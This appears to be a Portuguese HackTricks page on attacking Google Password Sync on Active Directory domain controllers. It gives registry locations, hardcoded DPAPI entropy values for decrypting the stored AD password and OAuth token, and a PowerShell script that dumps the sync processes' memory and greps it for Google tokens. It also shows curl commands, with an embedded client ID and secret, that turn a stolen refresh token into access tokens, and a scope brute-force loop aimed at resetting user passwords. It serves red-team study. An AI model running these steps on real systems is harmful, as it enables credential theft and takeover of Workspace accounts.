GPS - Google Password Sync
Reading time: 8 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Este é o binário e serviço que o Google oferece para manter sincronizadas as senhas dos usuários entre o AD e o Workspace. Sempre que um usuário altera sua senha no AD, ela é definida no Google.
Ele é instalado em C:\Program Files\Google\Password Sync
, onde você pode encontrar o binário PasswordSync.exe
para configurá-lo e password_sync_service.exe
(o serviço que continuará em execução).
GPS - Configuração
Para configurar este binário (e serviço), é necessário dar acesso a um principal Super Admin no Workspace:
- Faça login via OAuth com o Google e então ele armazenará um token no registro (criptografado)
- Disponível apenas em Controladores de Domínio com GUI
- Fornecendo algumas credenciais de Conta de Serviço do GCP (arquivo json) com permissões para gerenciar os usuários do Workspace
- Ideia muito ruim, pois essas credenciais nunca expiram e podem ser mal utilizadas
- Ideia muito ruim dar acesso a uma SA sobre o workspace, pois a SA pode ser comprometida no GCP e será possível pivotar para o Workspace
- O Google exige isso para domínio controlado sem GUI
- Essas credenciais também são armazenadas no registro
Quanto ao AD, é possível indicar para usar o contexto de aplicações atual, anônimo ou algumas credenciais específicas. Se a opção de credenciais for selecionada, o nome de usuário é armazenado dentro de um arquivo no disco e a senha é criptografada e armazenada no registro.
GPS - Extraindo senha e token do disco
tip
Note que Winpeas é capaz de detectar GPS, obter informações sobre a configuração e até mesmo descriptografar a senha e o token.
No arquivo C:\ProgramData\Google\Google Apps Password Sync\config.xml
é possível encontrar parte da configuração, como o baseDN
do AD configurado e o username
cujas credenciais estão sendo usadas.
No registro HKLM\Software\Google\Google Apps Password Sync
é possível encontrar o token de atualização criptografado e a senha criptografada para o usuário do AD (se houver). Além disso, se em vez de um token, algumas credenciais de SA forem usadas, também é possível encontrá-las criptografadas nesse endereço do registro. Os valores dentro deste registro são acessíveis apenas por Administradores.
A senha criptografada (se houver) está dentro da chave ADPassword
e é criptografada usando a API CryptProtectData
. Para descriptografá-la, você precisa ser o mesmo usuário que configurou a sincronização de senhas e usar esta entropia ao usar a CryptUnprotectData
: byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };
O token criptografado (se houver) está dentro da chave AuthToken
e é criptografado usando a API CryptProtectData
. Para descriptografá-lo, você precisa ser o mesmo usuário que configurou a sincronização de senhas e usar esta entropia ao usar a CryptUnprotectData
: byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };
Além disso, também é codificado usando base32hex com o dicionário 0123456789abcdefghijklmnopqrstv
.
Os valores de entropia foram encontrados usando a ferramenta. Ela foi configurada para monitorar as chamadas para CryptUnprotectData
e CryptProtectData
e então a ferramenta foi usada para iniciar e monitorar PasswordSync.exe
, que descriptografará a senha configurada e o token de autenticação no início, e a ferramenta mostrará os valores da entropia usada em ambos os casos:

Note que também é possível ver os valores descriptografados na entrada ou saída das chamadas para essas APIs também (caso em algum momento o Winpeas pare de funcionar).
Caso a Sincronização de Senhas tenha sido configurada com credenciais de SA, também será armazenada em chaves dentro do registro HKLM\Software\Google\Google Apps Password Sync
.
GPS - Extraindo tokens da memória
Assim como com o GCPW, é possível extrair a memória do processo dos processos PasswordSync.exe
e password_sync_service.exe
e você poderá encontrar tokens de atualização e acesso (se já tiverem sido gerados).
Acho que você também poderia encontrar as credenciais configuradas do AD.
Extrair PasswordSync.exe
e os processos password_sync_service.exe
e buscar tokens
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Show EULA if it wasn't accepted yet for strings
$stringsPath
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$processNames = @("PasswordSync", "password_sync_service")
$chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
GPS - Gerando tokens de acesso a partir de tokens de atualização
Usando o token de atualização, é possível gerar tokens de acesso utilizando-o e o ID do cliente e o segredo do cliente especificados no seguinte comando:
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token
GPS - Escopos
note
Observe que mesmo tendo um token de atualização, não é possível solicitar nenhum escopo para o token de acesso, pois você só pode solicitar os escopos suportados pela aplicação onde você está gerando o token de acesso.
Além disso, o token de atualização não é válido em todas as aplicações.
Por padrão, o GPS não terá acesso como o usuário a todos os possíveis escopos OAuth, então usando o seguinte script podemos encontrar os escopos que podem ser usados com o refresh_token
para gerar um access_token
:
Script Bash para força bruta de escopos
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done
echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
E este é o resultado que obtive no momento da escrita:
https://www.googleapis.com/auth/admin.directory.user
Qual é o mesmo que você obtém se não indicar nenhum escopo.
caution
Com este escopo, você poderia modificar a senha de um usuário existente para escalar privilégios.
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.